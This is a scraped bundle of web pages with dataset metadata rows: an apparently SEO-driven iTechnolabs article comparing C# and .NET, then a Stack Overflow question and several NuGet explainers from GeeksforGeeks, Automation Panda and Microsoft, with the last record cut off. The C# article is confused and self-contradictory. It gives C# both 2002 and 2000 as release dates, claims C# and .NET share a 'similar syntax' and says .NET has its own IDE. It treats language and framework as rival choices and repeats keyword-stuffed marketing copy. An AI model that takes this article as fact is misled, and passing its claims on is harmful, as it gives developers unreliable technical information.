c# vs .net has a large and active community of developers, making it easier to find resources, support, and solutions to common problems. This community also contributes to the continuous improvement and development of the language and framework.
10. C# vs .NET
To clarify,c# vs .net are not interchangeable terms. C# is a programming language, while .NET is a software framework. However, they are commonly used together as C# is the preferred language for building applications on the .NET platform.
C# provides developers with a modern, object-oriented syntax and extensive libraries that enable efficient and scalable development of applications. On the other hand, .NET offers an extensive set of tools and services for developing, deploying, and managing applications across different platforms.
What Is C#?
C# is a modern, object-oriented programming language that was developed by Microsoft in 2002. It is widely used for building a variety of applications, including web, desktop, mobile, and gaming applications. Its syntax is similar to other popular languages like Java and C++, making it easier for developers to learn and use.
Unlike some other languages that are limited to specific platforms or operating systems, C# can be used on multiple platforms, thanks to its compatibility with the .NET framework. This makes it a versatile language that can be used for different types of projects.
C# Pros and Cons
Like any other programming language, C# has its own set of advantages and disadvantages. Let’s take a look at some of them:
Pros:
Modern and easy to learn syntax
Object-oriented programming capabilities
Cross-platform compatibility with .NET framework
Robust error handling mechanisms
Automatic memory management
Large and active community support for troubleshooting and learning resources
Cons:
Requires installation of .NET framework for execution on some platforms
Limited support for low-level programming tasks
Not as widely used as other languages like Java or Python
Overall, the pros of C# far outweigh its cons, making it a popular choice among developers for building applications.
C Sharp Main characteristics
1. Flexible in nature
One of the biggest advantages of C# is its flexibility. It can be used for a wide range of applications, from simple command-line tools to complex enterprise-level systems.
2. Supports versioning
C# has a built-in feature called “versioning” that allows developers to work with previous versions of their code. This makes it easier to maintain and update applications over time, without having to start from scratch.
3. Compatibility with .NET framework
As mentioned earlier, C# is compatible with the .NET framework, which allows it to be used on multiple platforms. This reduces the need for developers to learn multiple languages and makes it easier to port applications from one platform to another.
4. Maintains garbage collection
C# has automatic memory management, which means that developers do not have to worry about allocating and freeing up memory manually. This reduces the chances of errors in code execution and makes it easier to manage large applications.
5. Ability to exceptional handling
C# has a feature called “exception handling” which allows developers to handle errors and exceptions in their code. This makes it easier to troubleshoot and debug applications, reducing the time and effort required for bug fixes.
6. Facilitates security
C# has built-in security features such as code access security and encryption, making it a preferred choice for developing secure applications.
7. It is object-oriented
C# is an object-oriented language, which means that it allows developers to create and manipulate objects in their code. This makes it easier to organize and manage complex applications.
8. Integrates with other languages
C# can be easily integrated with other programming languages, making it a versatile choice for developers who work on a variety of projects.
9. Strong community support
The C# language has a strong community of developers who contribute to its growth and development. This provides access to resources, forums, and online communities where developers can seek help and guidance while working with the language.
Common Features of c# vs .net Programming Language
Now that we have thoroughly explored the general overview of .NET and C#Let’s delve into the intricacies and nuances of these powerful technologies. By understanding the fundamental concepts, syntax, and capabilities of .NET and C#, you will be equipped with the knowledge and skills to develop robust and scalable applications. So, buckle up and get ready for an exciting journey into the world of .NET and C#!
1. Common Executive Environment
One of the significant advantages of .NET and C# is that they both share a common executive environment. This means that any code written in C# can be executed on any platform where .NET is available without any modifications. It provides developers with the flexibility to build applications for multiple platforms without worrying about compatibility issues.
2. Supports Multiple Languages
As mentioned earlier, .NET is a software framework that supports multiple programming languages. C# is just one of the languages that can be used to develop applications on .NET. Other popular languages include VB.NET, F#, and C++/CLI. This multilingual support ensures that developers have a wide range of options to choose from according to their preferences and project requirements.
3. Tool Support
c# vs .net have a rich set of tools and services that make application development more efficient. These tools include integrated development environments (IDEs) like Visual Studio, which provide developers with a comprehensive set of features for writing, debugging, and testing their code. Other popular tools include NuGet (a package manager), LINQ (Language Integrated Query), and Entity Framework (a data access technology). With such powerful tools at their disposal, developers can create high-quality applications in less time.
4. Supported by OOPS Principles
C# is an object-oriented programming language, which means it follows the principles of OOPS (Object-Oriented Programming). It provides features like encapsulation, inheritance, and polymorphism, making it easier to write scalable and maintainable code. This also makes C# a popular choice for building large-scale applications.
5. Easy error monitoring support
Both c# vs .net have built-in error handling mechanisms that help developers identify and fix errors in their code. These include try-catch blocks, exception handling, and debugging tools, which make it easier to locate and resolve issues in the codebase.
6. Enables automatic memory management
One of the most challenging aspects of application development is managing memory usage. However, with .NET’s automatic garbage collector and C#’s automatic memory management capabilities, developers can focus on writing code rather than worrying about memory allocation and deallocation.
7. Portable by nature
c# vs .net are both cross-platform compatible, which means applications built using these technologies can run on multiple operating systems, including Windows, Linux, and macOS. This makes it easier for businesses to build applications that cater to a broader audience.
Comparison Between C# and .Net
C# .NET Programming language Framework Object-oriented Platform for developing applications Developed by Microsoft Developed by Microsoft Released in 2000 Released in 2002 (first version) Widely used for building Windows applications Used for building various types of applications and web services Can be used with other programming languages through interoperability Compatible with multiple languages such as C#, VB.NET, F# etc Supports multi-paradigm programming (OOP & functional) Primarily focused on object-oriented programming Cross-platform compatibility with .NET Core release Cross-platform compatibility with .NET Core release Has its own IDE – Visual Studio Can be used with multiple IDEs such as Visual Studio, Visual Studio Code, and JetBrains Rider Strong community support from developers Strong community support from developers
Key differences between c# vs .net
C# is a programming language used for developing various types of applications, while .NET is a framework that provides tools and libraries for building those applications.
1. Working structure
C# is a versatile and powerful high-level, object-oriented language that empowers developers to write efficient and scalable code using classes and objects. With its extensive library and rich features, C# offers a wide range of tools and functionalities for building robust applications.
On the other hand, .NET is a comprehensive and cross-platform framework that provides a rich environment for running C# code and managing its execution. It offers a wide range of libraries, tools, and services that facilitate application development, deployment, and maintenance. By leveraging the capabilities of the .NET framework, developers can create efficient and reliable software solutions that cater to various platforms and devices.
2. Different usage
C# is a versatile programming language used for writing code and creating software applications. It provides developers with a powerful and expressive syntax, making it easier to develop robust and scalable solutions. On the other hand, .NET is a comprehensive framework that enables the execution of C# code by providing a rich set of tools and libraries. It offers a wide range of functionalities, including memory management, security, and performance optimization.
Moreover, .NET supports interoperability, allowing developers to seamlessly integrate C# with other programming languages such as C++, Python, and F#. This interoperability opens up new possibilities and flexibility in application development, as developers can leverage the strengths of different languages and libraries to build complex and innovative solutions.
In summary,c# vs .net form a powerful duo in the world of software development, enabling developers to write efficient, scalable, and interoperable code for a wide range of applications and platforms.
3. Purpose of C#
C# was initially developed by Microsoft as a part of the .NET initiative aimed at providing a modern, object-oriented programming language for application development. It is designed to be both simple and powerful, making it ideal for developing various types of applications, from desktop and web applications to mobile and gaming solutions.
One of the key advantages of C# is its ability to easily integrate with other languages in the .NET ecosystem, allowing developers to use different tools and libraries within their projects. This provides a unified environment for code development and simplifies the process of creating complex software solutions.
4. Complexity levels of C#
C# offers a range of different levels of complexity, depending on the needs and experience level of the developer. Beginners can start with basic concepts such as data types, variables, and control structures, while more experienced developers can delve into advanced topics like multithreading, LINQ, and parallel programming.
Additionally, C# also supports advanced features such as generics and anonymous methods, which allow for more efficient coding and increased flexibility in designing solutions.
5. Support and Community
The popularity of c# vs .net has led to a large and active community of developers who contribute to the continuous improvement of the language and provide support for others. There are numerous online resources, forums, and user groups dedicated to discussing best practices, troubleshooting issues, and sharing knowledge about C# development.
Moreover, Microsoft continues to release regular updates and new versions of the .NET framework, ensuring that C# remains a modern and relevant language for building software solutions.
6. Architecture Options
c# vs .net offers various options for structuring software solutions. The most common is the traditional monolithic architecture, where all components of an application are contained within a single codebase. However, with the rise of cloud computing and microservices, more developers are starting to adopt a modular approach using APIs and services rather than building everything into one large application.
Additionally, C# also supports different architectural patterns such as Model-View-Controller (MVC), which allows for better separation of concerns and easier maintenance of code.
How c# and .Net Programming languages are similar in a few ways:-
1. Both are open source
In recent years, both c# vs .net have become open-source, meaning their source code is available for developers to view, modify, and contribute to the development of the language. This has led to increased community involvement and innovation in both technologies.
2. Developed by Microsoft
Both C# and .NET were created by Microsoft, making them closely related and integrated with each other. This allows for a seamless development experience for using both technologies together.
3. No separate runtime library
Unlike other programming languages, C# does not require a separate runtime library to run on different platforms. This is because the .NET framework provides a common language runtime (CLR) that allows C# code to be compiled and executed on any platform that has the .NET framework installed. This makes it easier for developers to create cross-platform applications using C#.
4. C# a part of .NET
C# is considered to be the primary language used in .NET development. It is the most commonly used language for developing applications on the .NET framework, with a large number of libraries and tools available for developers to use.
5. Similar syntax
Since both C# and .NET were created by Microsoft, they share a similar syntax and structure. This makes it easier for developers who are familiar with one technology to quickly learn and work with the other.
List of companies that use .Net and C#:
While there are many similarities between c# vs .net, it is important to note that they are not interchangeable. C# is a programming language, while .NET is a software framework. Here are some key differences between the two:
Who Uses .Net?
Microsoft and its various products such as Windows, Office, and Visual Studio all use .NET.
Many other large companies also use .NET for their internal applications, including Amazon, Dell, HP, and Verizon.
Popular websites and web applications like Stack Overflow, GoDaddy, and MarketWatch are built using .NET.
Who Uses C#?
As mentioned earlier, C# is the primary language used in .NET development. Therefore, any company or developer using .NET is likely to be using C# as well.
In addition to being used for .NET development, C# is also used for game development with Unity3D and for developing mobile apps with Xamarin.
Other major companies that use C# include Accenture, GE Healthcare, and Raytheon.
When should you choose .NET or C#?
When to choose .NET?
If you want to develop applications that are compatible with the Windows operating system, .NET is a good choice as it is specifically designed for this purpose.
If you need access to a large number of libraries and tools for your development, .NET has a vast collection available for use.
If you prefer working with an integrated development environment (IDE), .NET has its own IDE called Visual Studio which provides a comprehensive set of tools and features for developers.
When to choose C#?
If you want to develop applications for multiple platforms, not just Windows, then C# may be a better choice. It is compatible with other frameworks like Xamarin and Unity3D that allow for cross-platform development.
If you have experience with other languages such as Java or C++, then learning the syntax of C# will be relatively easy.
If you prefer open-source software, C# has an open-source implementation called .NET Core which allows for development on non-Windows operating systems.
As mentioned earlier, C# can be used for developing not only on the .NET framework but also for game development and mobile app development. So if you are looking to branch out into these areas, C# would be a better choice.
If you are familiar with Java or C++, learning C# will be relatively easy as it shares similar syntax and structure.
If you prefer a statically typed language, C# would be a better choice over dynamic languages like Python.
How iTechnolabs can help you with these programming languages for software development?
iTechnolabs offers a variety of resources and services that can help you understand the difference between c# vs .net . Our team of experienced developers can provide guidance and insights on which language and framework would be best suited for your specific project needs. Additionally, we offer training courses and workshops to help you learn more about both technologies and their capabilities. We also have a community forum where you can connect with other developers to share knowledge, ask questions, and stay updated on the latest developments in c# vs .net.
Moreover, iTechnolabs has a wide range of tools and frameworks built specifically for .NET development, making it easier for developers to create robust applications quickly. These tools are constantly updated to keep up with the latest industry trends and advancements, ensuring that you always have access to the best resources for your projects.
In addition to technical support, iTechnolabs also offers consulting services where our experts can work with your team to analyze your project requirements and recommend the most suitable technology stack. This includes providing insights on the differences between c# vs .net and helping you make an informed decision based on your project goals and budget.
Guidance from Experienced Developers: Our seasoned developers at iTechnolabs can provide expert guidance, helping you understand the nuanced differences between c# vs .net and their respective advantages for different project types.
Training Courses and Workshops: We offer comprehensive training courses and workshops designed to teach you about the capabilities and uses of both c# vs .net , helping you select the right one for your needs.
Community Forum: We provide an active community forum where you can connect with other developers, share knowledge, ask questions, and stay updated on the latest developments in c# vs .net .
Tools and Frameworks for .NET Development: iTechnolabs offers a wide assortment of tools and frameworks specifically designed for .NET development, helping developers create robust applications with ease.
Consulting Services: We offer expert consulting services where our team works closely with yours to analyze your project needs and recommend the most suitable technology stack, providing insights on choosing between c# vs .net based on your project goals and budget.
Thorough Understanding of Technologies: iTechnolabs possesses deep knowledge and thorough understanding of both C# and .NET, ensuring the technology we recommend aligns perfectly with your project needs.
Valuable Insights: Our seasoned developers offer valuable insights into the nuances between c# vs .net , helping you make an informed decision for your project.
Learning Opportunities: Through our training courses and workshops, we empower you with the knowledge to understand and utilize both c# vs .net effectively.
Active Community: Our active community forum offers a platform to interact with other developers, share knowledge and get answers to your queries.
Rich Set of Tools: We provide a comprehensive set of tools and frameworks specifically designed for .NET development, enhancing the efficiency and robustness of your applications.
Expert Consultation: Our expert consulting services ensure that your project is supported by a technology stack that aligns with your goals, budget, and timeline. Our team works closely with yours to determine the most suitable combination of c# vs .net based on your project requirements.
Flexibility: Both C# and .NET provides a high level of flexibility, allowing developers to build applications that cater to diverse business needs. Whether you want to develop a desktop application or a web service, both technologies offer the necessary tools and features for efficient development.
Scalability: With c# vs .net, developers can create scalable solutions that can handle large workloads and adapt to changing business demands. This makes it an ideal choice for organizations looking to expand their services in the future.
Compatibility: One of the key advantages of using c# vs .net is their compatibility with other programming languages and frameworks. This allows developers to easily integrate existing code and libraries into their projects, saving time and effort.
Future-Proof Technology: With Microsoft continuously investing in the development of c# vs .net, these technologies are constantly evolving to meet the changing demands of the industry. By choosing c# vs .net for your project, you can be assured that you are investing in a future-proof technology stack.
In conclusion, while C# is a language and .NET is a framework, both work together seamlessly to provide developers with a powerful platform for developing robust applications. Each has its own unique strengths but when used together, they offer even more benefits for developers and organizations. So whether you are just starting in the world of software development or are an experienced developer, c# vs .net are definitely worth considering for your next project. So go ahead, dive into the world of C# and .NET and see how they can help you build amazing applications. After exploring both .c# vs .net , it’s clear that they can both be great choices for different situations. Ultimately, the decision between using one or the other will depend on your specific needs and preferences. If you are looking to develop applications specifically for Windows and prefer a robust IDE, then .NET may be the way to go.
However, if you want more flexibility in terms of platform compatibility and open-source options, C# might be the better choice. Either way, both technologies have their strengths and can lead to successful development projects. It’s always best to research and weigh your options carefully before deciding on which language and framework to use. With the constantly evolving technology landscape, staying informed and adaptable is key to becoming a successful developer. Keep exploring and learning, and you’ll be well on your way to mastering .c# vs .net development.
|
|||||
8582
|
dbpedia
|
1
| 3
|
https://stackoverflow.com/questions/27536936/what-is-nuget-and-how-does-it-work-expanding-on-entity-framework
|
en
|
What is NuGet and how does it work? [Expanding on Entity Framework]
|
[
"https://www.gravatar.com/avatar/3e118e7676e8748f0de5037a3663c3c7?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/144fd462785db33cf6665cafd54101c7?s=64&d=identicon&r=PG",
"https://stackoverflow.com/posts/27536936/ivc/3e78?prg=978e1b76-ac53-4c85-985c-245e00edd9f4"
] |
[] |
[] |
[
""
] | null |
[] |
2014-12-17T23:50:29
|
I never fiddled with NuGet until recently that I downgraded the .NET version of my project from 4.5 to 4.0 and Visual Studio started complaining about some NuGet packages need the EntityFramework t...
|
en
|
https://cdn.sstatic.net/Sites/stackoverflow/Img/favicon.ico?v=ec617d715196
|
Stack Overflow
|
https://stackoverflow.com/questions/27536936/what-is-nuget-and-how-does-it-work-expanding-on-entity-framework
|
I never fiddled with NuGet until recently that I downgraded the .NET version of my project from 4.5 to 4.0 and Visual Studio started complaining about some NuGet packages need the EntityFramework to be reinstalled to work again. So I went PM> Update-Package -reinstall EntityFrameworkand I was sorted.
So, now that you know how I am coming to this point, these are my question.
|
||||
8582
|
dbpedia
|
3
| 19
|
https://www.geeksforgeeks.org/what-is-nuget/
|
en
|
What is NuGet?
|
[
"https://media.geeksforgeeks.org/gfg-gg-logo.svg",
"https://media.geeksforgeeks.org/auth-dashboard-uploads/Google-news.svg",
"https://media.geeksforgeeks.org/auth-dashboard-uploads/Google-news.svg",
"https://media.geeksforgeeks.org/auth-dashboard-uploads/new-premium-rbanner-us.png",
"https://media.geeksforgeeks.org/auth-dashboard-uploads/gfgFooterLogo.png",
"https://media.geeksforgeeks.org/auth-dashboard-uploads/googleplay.png",
"https://media.geeksforgeeks.org/auth-dashboard-uploads/appstore.png",
"https://media.geeksforgeeks.org/auth-dashboard-uploads/suggestChangeIcon.png",
"https://media.geeksforgeeks.org/auth-dashboard-uploads/createImprovementIcon.png"
] |
[] |
[] |
[
"Data Structures",
"Algorithms",
"Python",
"Java",
"C",
"C++",
"JavaScript",
"Android Development",
"SQL",
"Data Science",
"Machine Learning",
"PHP",
"Web Development",
"System Design",
"Tutorial",
"Technical Blogs",
"Interview Experience",
"Interview Preparation",
"Programming",
"Competitive Programming",
"Jobs",
"Coding Contests",
"GATE CSE",
"HTML",
"CSS",
"React",
"NodeJS",
"Placement",
"Aptitude",
"Quiz",
"Computer Science",
"Programming Examples",
"GeeksforGeeks Courses",
"Puzzles",
"SSC",
"Banking",
"UPSC",
"Commerce",
"Finance",
"CBSE",
"School",
"k12",
"General Knowledge",
"News",
"Mathematics",
"Exams"
] | null |
[
"GeeksforGeeks"
] |
2020-06-15T02:48:51
|
A Computer Science portal for geeks. It contains well written, well thought and well explained computer science and programming articles, quizzes and practice/competitive programming/company interview Questions.
|
en
|
GeeksforGeeks
|
https://www.geeksforgeeks.org/what-is-nuget/
|
NuGet is the official package-manager for .NET. Packages are basically compiled library with some descriptive metadata. NuGet is an essential tool for any modern development platform is a mechanism through which developers can create, share, and consume useful code. Often such code is bundled into “packages” that contain compiled code along with other content needed in the projects that consume these packages. NuGet package contains a single ZIP file with the extension of .nupkg that consists of compiled code (DLLs), and information like the package’s version number.
NuGet itself handles all of the intermediate details, for example if a developer with code who wants to share create a package and publish them on a public or private host. Package consumers then obtain those packages from the suitable hosts, and add them to their projects, and at last call a package functionality in their code. NuGet packages code that is developed by an organization can be used as it supports private hosts along with the public nugget.org host. NuGet packages can also be used in a convenient way to factor your code by using it in your projects. Nuget is considered as a shareable unit of code, but it doesn’t require any specific means of sharing.
It Provides:
NuGet provides the central nuget.org repository with support for private hosting.
NuGet provides the tools developers need for creating, publishing, and consuming packages.
NuGet maintains a reference list of packages used in a project and the ability to restore and update those packages from that list.
Beyond this, NuGet maintains all the specifications related to how packages are structured such as localization and how they are referenced. Nuget provides numerous APIs for working with all of its services programmatically as well as provides support for developers who publishes Visual Studio extensions.
NuGet provides a package cache and a global folder for packages to ease the installation along with the reinstallation process. The cache will be useful if there’s a package that already in the local machine.
NuGet helps in the overall dependency graph, this leads to avoiding multiple references to different versions of the same package. Some of the utility packages are employed by many other packages. So you could easily have more references to different versions of the same package. To avoid bringing the different versions of the same package into your project, NuGet sorts out which single version can be used by all the consumers. i.e. it solves dependency problems in one’s own project.
|
|||||
8582
|
dbpedia
|
3
| 23
|
https://automationpanda.com/2018/09/13/nuget-quick-reference/
|
en
|
NuGet Quick Reference
|
[
"https://automationpanda.com/wp-content/uploads/2018/09/nuget.png?w=444",
"https://automationpanda.com/wp-content/uploads/2018/09/nuget-package-manager-page.png?w=620",
"https://automationpanda.com/wp-content/uploads/2018/09/nuget-package-manager-console.png?w=620",
"https://automationpanda.com/wp-content/uploads/2018/09/nuget-cli.png?w=620",
"https://automationpanda.com/wp-content/uploads/2019/08/pandy1-reduced.png?w=50",
"https://automationpanda.com/wp-content/uploads/2019/08/pandy1-reduced.png?w=50",
"https://pixel.wp.com/b.gif?v=noscript"
] |
[] |
[] |
[
""
] | null |
[
"Andy Knight"
] |
2018-09-13T00:00:00
|
Here's a quick reference for using NuGet for .NET development: managing packages, using the CLI, and writing .nuspec files. Links included!
|
en
|
Automation Panda
|
https://automationpanda.com/2018/09/13/nuget-quick-reference/
|
What is NuGet?
NuGet is a package manager for Microsoft .NET. It installs packages and manages dependencies for .NET projects. It is like Maven (Java) or pip (Python). The NuGet Gallery hosts thousands of popular packages like Json.NET, NUnit, and jQuery. If you develop .NET applications (like in C#), then you probably need to use NuGet.
Installing Packages
The easiest way to use NuGet is through Visual Studio, which includes NuGet features by default. Packages are managed per project. Right-click on a project in Solution Explorer and select “Manage NuGet Packages…” to open the project’s package manager page.
The Browse tab lets you search and install new packages.
The Installed tab shows which packages are installed and can uninstall them.
The Updates tab lets you update packages to their latest versions.
When packages are installed and updated, NuGet also pulls any dependencies they require. Visual Studio also creates a packages.config file for all dependencies. Then, just build and run!
NuGet Configuration
NuGet can be configured using a NuGet.Config file. This file can be placed under a project directory, a solution directory, or a system-wide location. One of the most common settings is the package sources: NuGet uses the public nuget.org repository by default, but others (like private company repos) can also be added. Check the nuget.config reference online for docs on all options. (Package sources can also be configured through Visual Studio under Tools > NuGet Package Manager > Package Manager Settings.)
NuGet Package Manager Console
Sometimes, it’s helpful to control NuGet directly through the Package Manager Console. From the menu bar: Tools > NuGet Package Manager > Package Manager Console. For example, when packages get messed up, I’ll run “Update-Package -Reinstall” to reinstall everything. (Right-clicking the solution and selecting “Restore NuGet Packages” never seems to work for me.) Check the help command or the official guide for more info.
NuGet CLI
The NuGet CLI nuget.exe provides the full extent of NuGet features, including the ability to make packages. It is more powerful than the Package Manager Console. It must be installed independently – it does not come with Visual Studio. Check the NuGet CLI reference online for full details. The .NET Core CLI dotnet.exe can also be used for managing packages. See the feature comparison for the differences.
Creating a NuGet Package
A NuGet package is basically a ZIP file with a .nupkg extension. It typically contains an assembly DLL and maybe other related files. Creating a NuGet package is pretty easy:
Install the NuGet CLI.
Create a .nuspec file for the project.
Add appropriate settings to the .nuspec file.
Run the “nuget pack” command to create the .nupkg file.
Publish the .nupkg file to the desired destination.
The .nuspec file can be created by running the “nuget spec” command in the project’s directory. The generated <project-name>.nuspec file will contain replacement tokens that will be substituted with values from the project’s AssemblyInfo when the package is built. Make sure to set AssemblyInfo values appropriately for the substitution. The version is especially important, and the automatic version format may be useful for guaranteeing uniqueness. Be sure to add any packages upon which the project depends as dependencies, too. (The .nuspec file can also be created manually.) Refer to the .nuspec reference for full details.
The standard package creation command is “nuget pack <project-name>.nuspec”. However, if the .nuspec file contains replacement tokens, then use “nuget pack <project-name>.csproj” instead. Once the package is created, it can be published publicly to nuget.org or to a private NuGet feed.
Below is an example .nuspec file with replacement tokens:
Resources
|
|||||
8582
|
dbpedia
|
3
| 1
|
https://learn.microsoft.com/en-us/nuget/what-is-nuget
|
en
|
What is NuGet and what does it do?
|
[
"https://learn.microsoft.com/en-us/nuget/media/nuget-roles.png",
"https://learn.microsoft.com/en-us/nuget/media/dependency-graph.png",
"https://learn.microsoft.com/en-us/nuget/media/nuget-restore.png"
] |
[
"https://learn.microsoft.com/shows/NuGet-101/What-is-NuGet-1-of-5/player"
] |
[] |
[
""
] | null |
[] |
2022-10-11T22:32:00+00:00
|
A comprehensive introduction to what NuGet is and does
|
en
|
https://learn.microsoft.com/en-us/nuget/what-is-nuget
|
An introduction to NuGet
An essential tool for any modern development platform is a mechanism through which developers can create, share, and consume useful code. Often such code is bundled into "packages" that contain compiled code (as DLLs) along with other content needed in the projects that consume these packages.
For .NET (including .NET Core), the Microsoft-supported mechanism for sharing code is NuGet, which defines how packages for .NET are created, hosted, and consumed, and provides the tools for each of those roles.
Put simply, a NuGet package is a single ZIP file with the .nupkg extension that contains compiled code (DLLs), other files related to that code, and a descriptive manifest that includes information like the package's version number. Developers with code to share create packages and publish them to a public or private host. Package consumers obtain those packages from suitable hosts, add them to their projects, and then call a package's functionality in their project code. NuGet itself then handles all of the intermediate details.
Because NuGet supports private hosts alongside the public nuget.org host, you can use NuGet packages to share code that's exclusive to an organization or a work group. You can also use NuGet packages as a convenient way to factor your own code for use in nothing but your own projects. In short, a NuGet package is a shareable unit of code, but does not require nor imply any particular means of sharing.
The flow of packages between creators, hosts, and consumers
In its role as a public host, NuGet itself maintains the central repository of over 100,000 unique packages at nuget.org. These packages are employed by millions of .NET/.NET Core developers every day. NuGet also enables you to host packages privately in the cloud (such as on Azure DevOps), on a private network, or even on just your local file system. By doing so, those packages are available to only those developers that have access to the host, giving you the ability to make packages available to a specific group of consumers. The options are explained on Hosting your own NuGet feeds. Through configuration options, you can also control exactly which hosts can be accessed by any given computer, thereby ensuring that packages are obtained from specific sources rather than a public repository like nuget.org.
Whatever its nature, a host serves as the point of connection between package creators and package consumers. Creators build useful NuGet packages and publish them to a host. Consumers then search for useful and compatible packages on accessible hosts, downloading and including those packages in their projects. Once installed in a project, the packages' APIs are available to the rest of the project code.
Package targeting compatibility
A "compatible" package means that it contains assemblies built for at least one target .NET framework that's compatible with the consuming project's target framework. Developers can create packages that are specific to one framework, as with UWP controls, or they can support a wider range of targets. To maximize a package's compatibility, developers target .NET Standard, which all .NET and .NET Core projects can consume. This is the most efficient means for both creators and consumers, as a single package (usually containing a single assembly) works for all consuming projects.
Package developers who require APIs outside of .NET Standard, on the other hand, create separate assemblies for the different target frameworks they want to support and include all of those assemblies in the same package (which is called "multi-targeting"). When a consumer installs such a package, NuGet extracts only those assemblies that are needed by the project. This minimizes the package's footprint in the final application and/or assemblies produced by that project. A multi-targeting package is, of course, more difficult for its creator to maintain.
In addition to hosting support, NuGet also provides a variety of tools used by both creators and consumers. See Installing NuGet client tools for how to obtain specific tools.
Tool Platforms Applicable Scenarios Description dotnet CLI All Creation, Consumption CLI tool for .NET Core and .NET Standard libraries, and for SDK-style projects that target .NET Framework (see SDK attribute). Provides certain NuGet CLI capabilities directly within the .NET Core tool chain. As with the nuget.exe CLI, the dotnet CLI does not interact with Visual Studio projects. nuget.exe CLI All Creation, Consumption CLI tool for .NET Framework libraries and non-SDK-style projects that target .NET Standard libraries. Provides all NuGet capabilities, with some commands applying specifically to package creators, some applying only to consumers, and others applying to both. For example, package creators use the nuget pack command to create a package from various assemblies and related files, package consumers use nuget install to include packages in a project folder, and everyone uses nuget config to set NuGet configuration variables. As a platform-agnostic tool, the NuGet CLI does not interact with Visual Studio projects. Package Manager Console Visual Studio on Windows Consumption Provides PowerShell commands for installing and managing packages in Visual Studio projects. Package Manager UI Visual Studio on Windows Consumption Provides an easy-to-use UI for installing and managing packages in Visual Studio projects. Manage NuGet UI Visual Studio for Mac Consumption Provide an easy-to-use UI for installing and managing packages in Visual Studio for Mac projects. MSBuild Windows Creation, Consumption Provides the ability to create packages and restore packages used in a project directly through the MSBuild tool chain.
As you can see, the NuGet tools you work with depend greatly on whether you're creating, consuming, or publishing packages, and the platform on which you're working. Package creators are typically also consumers, as they build on top of functionality that exists in other NuGet packages. And those packages, of course, may in turn depend on still others.
For more information, start with the Package creation workflow and Package consumption workflow articles.
Managing dependencies
The ability to easily build on the work of others is one of most powerful features of a package management system. Accordingly, much of what NuGet does is managing that dependency tree or "graph" on behalf of a project. Simply said, you need only concern yourself with those packages that you're directly using in a project. If any of those packages themselves consume other packages (which can, in turn, consume still others), NuGet takes care of all those down-level dependencies.
The following image shows a project that depends on five packages, which in turn depend on a number of others.
Notice that some packages appear multiple times in the dependency graph. For example, there are three different consumers of package B, and each consumer might also specify a different version for that package (not shown). This is a common occurrence, especially for widely-used packages. NuGet fortunately does all the hard work to determine exactly which version of package B satisfies all consumers. NuGet then does the same for all other packages, no matter how deep the dependency graph.
For more details on how NuGet performs this service, see Dependency resolution.
Tracking references and restoring packages
Because projects can easily move between developer computers, source control repositories, build servers, and so forth, it's highly impractical to keep the binary assemblies of NuGet packages directly bound to a project. Doing so would make each copy of the project unnecessarily bloated (and thereby waste space in source control repositories). It would also make it very difficult to update package binaries to newer versions as updates would have to be applied across all copies of the project.
NuGet instead maintains a simple reference list of the packages upon which a project depends, including both top-level and down-level dependencies. That is, whenever you install a package from some host into a project, NuGet records the package identifier and version number in the reference list. (Uninstalling a package, of course, removes it from the list.) NuGet then provides a means to restore all referenced packages upon request, as described on Package restore.
With only the reference list, NuGet can then reinstallâthat is, restoreâall of those packages from public and/or private hosts at any later time. When committing a project to source control, or sharing it in some other way, you include only the reference list and exclude any package binaries (see Packages and source control.)
The computer that receives a project, such as a build server obtaining a copy of the project as part of an automated deployment system, simply asks NuGet to restore dependencies whenever they're needed. Build systems like Azure DevOps provide "NuGet restore" steps for this exact purpose. Similarly, when developers obtain a copy of a project (as when cloning a repository), they can invoke command like nuget restore (NuGet CLI), dotnet restore (dotnet CLI), or Install-Package (Package Manager Console) to obtain all the necessary packages. Visual Studio, for its part, automatically restores packages when building a project (provided that automatic restore is enabled, as described on Package restore).
Clearly, then, NuGet's primary role where developers are concerned is maintaining that reference list on behalf of your project and providing the means to efficiently restore (and update) those referenced packages. This list is maintained in one of two package management formats, as they're called:
PackageReference (or "package references in project files") | (NuGet 4.0+) Maintains a list of a project's top-level dependencies directly within the project file, so no separate file is needed. An associated file, obj/project.assets.json, is dynamically generated to manage the overall dependency graph of the packages that a project uses along with all down-level dependencies. PackageReference is always used by .NET Core projects.
packages.config: (NuGet 1.0+) An XML file that maintains a flat list of all dependencies in the project, including the dependencies of other installed packages. Installed or restored packages are stored in a packages folder.
Which package management format is employed in any given project depends on the project type, and the available version of NuGet (and/or Visual Studio). To check what format is being used, simply look for packages.config in the project root after installing your first package. If you don't have that file, look in the project file directly for a <PackageReference> element.
When you have a choice, we recommend using PackageReference. packages.config is maintained for legacy purposes and is no longer under active development.
What else does NuGet do?
So far you've learned the following characteristics of NuGet:
NuGet provides the central nuget.org repository with support for private hosting.
NuGet provides the tools developers need for creating, publishing, and consuming packages.
Most importantly, NuGet maintains a reference list of packages used in a project and the ability to restore and update those packages from that list.
To make these processes work efficiently, NuGet does some behind-the-scenes optimizations. Most notably, NuGet manages a package cache and a global packages folder to shortcut installation and reinstallation. The cache avoids downloading a package that's already been installed on the machine. The global packages folder allows multiple projects to share the same installed package, thereby reducing NuGet's overall footprint on the computer. The cache and global packages folder are also very helpful when you're frequently restoring a larger number of packages, as on a build server. For more details on these mechanisms, see Managing the global packages and cache folders.
Within an individual project, NuGet manages the overall dependency graph, which again includes resolving multiple references to different versions of the same package. It's quite common that a project takes a dependency on one or more packages that themselves have the same dependencies. Some of the most useful utility packages on nuget.org are employed by many other packages. In the entire dependency graph, then, you could easily have ten different references to different versions of the same package. To avoid bringing multiple versions of that package into the application itself, NuGet sorts out which single version can be used by all consumers. (For more information, see Dependency Resolution.)
Beyond that, NuGet maintains all the specifications related to how packages are structured (including localization and debug symbols) and how they are referenced (including version ranges and pre-release versions.) NuGet also provides various APIs to work with its services programmatically, and provides support for developers who write Visual Studio extensions and project templates.
Take a moment to browse the table of contents for this documentation, and you see all of these capabilities represented there, along with release notes dating back to NuGet's beginnings.
Related video
Find more NuGet videos on Channel 9 and YouTube.
Finally, we very much welcome comments and contributions to this documentationâjust select the Feedback and Edit commands on the top of any page, or visit the docs repository and docs issue list on GitHub.
We also welcome contributions to NuGet itself through its various GitHub repositories; NuGet issues can be found on https://github.com/NuGet/home/issues.
Enjoy your NuGet experience!
|
||||||
8582
|
dbpedia
|
0
| 60
|
https://www.erikheemskerk.nl/transitive-nuget-dependencies-net-core-got-your-back/
|
en
|
Transitive NuGet dependencies: .NET Core’s got your back
|
[
